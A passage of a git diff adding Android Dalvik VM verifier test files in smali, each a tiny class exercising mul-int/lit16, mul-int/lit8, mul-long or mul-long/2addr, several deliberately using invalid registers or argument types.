+       mul-int/lit16 v0, v8, 0
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5.smali
new file mode 100644
index 0000000..2995ee8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v8, 1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6.smali
new file mode 100644
index 0000000..db96579
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v8, 32767
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7.smali
new file mode 100644
index 0000000..8645074
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v9, 3276
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8.smali
new file mode 100644
index 0000000..8e840f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 9
+
+       mul-int/lit16 v0, v7, 4321
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9.smali
new file mode 100644
index 0000000..38581e0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 9
+
+       mul-int/lit16 v0, v7, 4321
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1.smali
new file mode 100644
index 0000000..c871632
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v8, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10.smali
new file mode 100644
index 0000000..f1f6311
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v7, 111
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2.smali
new file mode 100644
index 0000000..c1148da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v8, -15
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3.smali
new file mode 100644
index 0000000..b589803
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 9
+
+       mul-int/lit8 v0, v8, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4.smali
new file mode 100644
index 0000000..494d210
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v8, 0
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5.smali
new file mode 100644
index 0000000..a7db0e0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v8, 1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6.smali
new file mode 100644
index 0000000..29cbb9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v8, 127
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7.smali
new file mode 100644
index 0000000..90046be
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit8 v0, v9, 12
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8.smali
new file mode 100644
index 0000000..2290b09
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 9
+
+       mul-int/lit8 v0, v7, 123
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9.smali
new file mode 100644
index 0000000..5484959
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 9
+
+       mul-int/lit8 v0, v7, 123
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_1.smali
new file mode 100644
index 0000000..b8a38c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_1.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long v0, v10, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_2.smali
new file mode 100644
index 0000000..8fdc0b3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long v0, v12, v14
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_3.smali
new file mode 100644
index 0000000..95628a2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_3.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       mul-long v0, v10, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_4.smali
new file mode 100644
index 0000000..634f7c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_4.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 14
+
+       mul-long v0, v11, v13
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_5.smali
new file mode 100644
index 0000000..c7ae3f8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_5.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FJ)J
+.registers 14
+
+       mul-long v0, v11, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_6.smali
new file mode 100644
index 0000000..d479e11
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_6.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long v0, v9, v12
+       return-wide v9
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1.smali
new file mode 100644
index 0000000..b5bdb63
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long/2addr v10, v12
+       return-wide v10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2.smali
new file mode 100644
index 0000000..2e1ad3f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long/2addr v12, v14
+       return-wide v12
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3.smali
new file mode 100644
index 0000000..99acac8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
